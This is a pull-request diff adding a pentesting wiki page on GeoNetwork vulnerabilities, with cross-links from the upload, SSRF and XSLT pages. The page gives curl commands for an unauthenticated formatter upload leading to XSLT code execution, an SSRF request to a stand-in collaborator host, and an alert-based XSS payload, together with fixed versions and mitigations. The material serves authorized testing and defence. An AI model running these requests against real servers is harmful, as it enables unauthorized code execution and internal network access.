Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -517,6 +517,7 @@
- [Flask](network-services-pentesting/pentesting-web/flask.md)
- [Fortinet Fortiweb](network-services-pentesting/pentesting-web/fortinet-fortiweb.md)
- [Git](network-services-pentesting/pentesting-web/git.md)
- [GeoNetwork](network-services-pentesting/pentesting-web/geonetwork.md)
- [Golang](network-services-pentesting/pentesting-web/golang.md)
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
Expand Down
1 change: 1 addition & 0 deletions src/network-services-pentesting/pentesting-web/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -81,6 +81,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**Flask**](flask.md)
- [**Fortinet FortiWeb**](fortinet-fortiweb.md)
- [**Git**](git.md)
- [**GeoNetwork**](geonetwork.md)
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
Expand Down
100 changes: 100 additions & 0 deletions src/network-services-pentesting/pentesting-web/geonetwork.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
# GeoNetwork

{{#include ../../banners/hacktricks-training.md}}

## Overview

GeoNetwork is a Java/Spring geospatial metadata catalogue. Metadata objects are **records** identified by UUID, and public records are intentionally readable without authentication. Most application routes are portal-scoped below `/<portal>/api` (commonly `/srv/api`), while XSLT **formatters** transform records into HTML, text, or XML.<sup>[[1]](#references)</sup>

Useful routes to fingerprint and map are:<sup>[[1]](#references)</sup>

```text
GET /srv/api/records/{uuid}
POST /srv/api/formatters
GET /srv/api/records/{uuid}/formatters/{formatter}
POST /srv/api/tools/ogc/sld
GET /srv/eng/catalog.search
```

The application may be deployed below a context path such as `/geonetwork`; preserve that prefix when testing.<sup>[[3]](#references)</sup>

## Formatter upload + unsafe XSLT to pre-auth RCE

### Missing method-level authorization

GeoNetwork protects administrative Spring methods individually with `@PreAuthorize("hasAuthority('UserAdmin')")`. In the vulnerable formatter controller, list, download, update, and delete methods had that annotation, but `addFormatter()` did not. The unprotected `POST /{portal}/api/formatters` accepted multipart parameter `file`, derived the formatter name from the uploaded filename, and installed either a raw `.xsl` as `view.xsl` or a formatter ZIP containing `view.xsl`.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup>

This is a useful white-box audit pattern for Spring applications: compare authorization annotations on **every** mapped method rather than trusting the controller's administrative purpose. Prioritize create, import, upload, and file-writing methods, then trace whether the written object is later parsed, compiled, included, or executed.<sup>[[1]](#references)[[2]](#references)</sup>

### Second-stage interpreter trigger

The vulnerable transformation path created a Saxon transformer without enabling JAXP secure processing and without setting Saxon's `ALLOW_EXTERNAL_FUNCTIONS` to `false`. Saxon's option defaults to enabled in the documented configuration, so a loaded stylesheet can reach Java extension functions such as `java.lang.Runtime.exec()` or `java.lang.ProcessBuilder` and run a command as the GeoNetwork service user.<sup>[[1]](#references)[[4]](#references)[[5]](#references)</sup>

During an authorized test, create a formatter XSLT using the [Saxon Java extension primitive](../../pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md#saxon-reflexive-java-extension-functions). Use a harmless marker, time delay, or controlled callback instead of a destructive command. A raw upload named `htproof.xsl` is installed under formatter name `htproof`; the multipart upload and independent execution trigger are:<sup>[[1]](#references)[[2]](#references)</sup>

```bash
base='https://target/geonetwork'

curl -ik -F 'file=@htproof.xsl;filename=htproof.xsl' \
"$base/srv/api/formatters"

curl -ik \
"$base/srv/api/records/PUBLIC_RECORD_UUID/formatters/htproof"
```

Obtain `PUBLIC_RECORD_UUID` from an anonymously visible catalogue result and confirm it with `GET /srv/api/records/{uuid}`. The record only supplies valid XML input; the attacker-selected formatter supplies the executable transformation. Consequently, the file does not need to land in a webroot: **unauthorized formatter creation plus a public formatter-render route is the complete execution chain**.<sup>[[1]](#references)</sup>

## SLD tool SSRF

The vulnerable Styled Layer Descriptor endpoint accepted form field `url` and passed it through `new URI(serverURL)` to `SLDUtil.parseSLD()`. That helper appended `service=WMS`, `request=GetStyles`, `version=1.1.1`, and `layers=<value>` before issuing an HTTP GET, without an allowlist, scheme validation, or private-address restriction.<sup>[[1]](#references)[[6]](#references)[[7]](#references)[[8]](#references)</sup>

A controlled callback can verify the outbound request. Even if later filter or XML processing fails, the network request occurs first:<sup>[[7]](#references)[[8]](#references)</sup>

```bash
curl -ik -X POST 'https://target/geonetwork/srv/api/tools/ogc/sld' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'url=https://COLLABORATOR.example/probe' \
--data-urlencode 'layers=proof' \
--data-urlencode 'filters={"filters":[]}'
```

Test loopback, link-local, and internal destinations only when they are in scope. This SSRF is partially non-blind: GeoNetwork reads the response body, parses it as XML, stores the transformed SLD, and returns a URL from which compatible XML output can be downloaded. Non-XML responses still prove reachability but normally fail before content is returned.<sup>[[1]](#references)[[6]](#references)[[7]](#references)[[8]](#references)</sup>

## JavaScript-expression reflected XSS

The public `catalog.search` route placed `uiconfig` directly into the first JavaScript argument of `gnGlobalSettings.init(...)`. When input must remain a syntactically valid argument, the comma operator is useful: `(alert(1),{})` executes the first expression and evaluates to the empty object expected by the surrounding call.<sup>[[1]](#references)[[10]](#references)</sup>

```http
GET /srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29 HTTP/1.1
Host: target
```

This pattern generalizes to JavaScript-context injection where closing the script is unnecessary or filtered: use `(SIDE_EFFECT,VALUE_OF_EXPECTED_TYPE)`. In affected GeoNetwork deployments, same-origin script could also read the non-`HttpOnly` `XSRF-TOKEN` cookie and use it in authenticated requests, so impact is not limited to an alert box.<sup>[[1]](#references)</sup>

## Affected versions and remediation

The coordinated advisories identify these fixed branches:<sup>[[3]](#references)[[4]](#references)[[6]](#references)[[10]](#references)</sup>

| Primitive | Affected versions documented by the advisory | Fixed |
| --- | --- | --- |
| Unauthorized formatter upload | `<=4.2.16` and `<=4.4.11` packages (the research traces the regression to the 4.0.6 refactor) | 4.2.17 / 4.4.12 |
| Unsafe formatter XSLT | `<=4.2.16` and `<=4.4.11` | 4.2.17 / 4.4.12 |
| SLD SSRF | 4.0.0–4.2.16 and 4.4.0–4.4.11 | 4.2.17 / 4.4.12 |
| `uiconfig` XSS | 4.4.5–4.4.11 | 4.4.12 |

Upgrade to **4.2.17, 4.4.12, or a later supported release**. As a temporary control for the RCE chain, deny unauthenticated `POST`, `PUT`, and `PATCH` requests to the exact `/geonetwork/srv/api/formatters` route at the reverse proxy; this also disables legitimate formatter administration until patched. Application fixes must both enforce `UserAdmin` on formatter creation and sandbox XSLT with secure processing plus disabled external functions. The SLD SSRF fix removes the server-side WMS-fetch path rather than relying on URL filtering.<sup>[[3]](#references)[[4]](#references)[[6]](#references)[[9]](#references)</sup>

## References

- [1] [Ethiack - GeoNetwork: PreAuth Remote Code Execution](https://ethiack.com/info-hub/research/geonetwork-preauth-RCE)
- [2] [GeoNetwork vulnerable FormatterAdminApi implementation](https://github.com/geonetwork/core-geonetwork/blob/56abcb6ef42f0741cc13caf116894cbd6b2c5eb8/services/src/main/java/org/fao/geonet/api/records/formatters/FormatterAdminApi.java#L353-L433)
- [3] [GeoNetwork advisory - unauthenticated formatter upload (GHSA-mh22-prqr-vf42)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-mh22-prqr-vf42)
- [4] [GeoNetwork advisory - unsafe Saxon XSLT processing (GHSA-x898-729x-cc3r)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-x898-729x-cc3r)
- [5] [Saxon 9.5 configuration feature ALLOW_EXTERNAL_FUNCTIONS](https://www.saxonica.com/documentation9.5/configuration/config-features.html#ALLOW_%C2%ADEXTERNAL_%C2%ADFUNCTIONS)
- [6] [GeoNetwork advisory - unauthenticated SSRF in the SLD tool (GHSA-5hx7-j24v-rffj)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5hx7-j24v-rffj)
- [7] [GeoNetwork vulnerable SldApi implementation](https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/services/src/main/java/org/fao/geonet/api/sld/SldApi.java#L136-L190)
- [8] [GeoNetwork vulnerable SLDUtil implementation](https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/core/src/main/java/org/geonetwork/map/wms/SLDUtil.java#L49-L75)
- [9] [GeoNetwork pull request removing vulnerable SLD retrieval](https://github.com/geonetwork/core-geonetwork/pull/9343)
- [10] [GeoNetwork advisory - reflected XSS in uiconfig (GHSA-5pq9-ppfw-p83j)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j)

{{#include ../../banners/hacktricks-training.md}}
6 changes: 6 additions & 0 deletions src/pentesting-web/file-upload/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -386,6 +386,12 @@ Quick audit checklist:

Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.<sup>[[13]](#references)</sup>

### GeoNetwork formatter upload to XSLT execution

{{#ref}}
../../network-services-pentesting/pentesting-web/geonetwork.md
{{#endref}}

## From File upload to other vulnerabilities

- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
Expand Down
6 changes: 6 additions & 0 deletions src/pentesting-web/ssrf-server-side-request-forgery/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,12 @@

A **Server-side Request Forgery (SSRF)** vulnerability occurs when an attacker manipulates a **server-side application** into making **HTTP requests** to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.

### GeoNetwork SLD tool SSRF

{{#ref}}
../../network-services-pentesting/pentesting-web/geonetwork.md
{{#endref}}

## Capture SSRF

The first thing you need to do is to capture a SSRF interaction generated by you. To capture a HTTP or DNS interaction you can use tools such as:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -519,6 +519,12 @@ version="1.0">

(Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))

### GeoNetwork formatter upload chain

{{#ref}}
../network-services-pentesting/pentesting-web/geonetwork.md
{{#endref}}

## More Payloads

- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) for additional processor-specific discovery and exploitation payloads.<sup>[[5]](#references)</sup>
Expand Down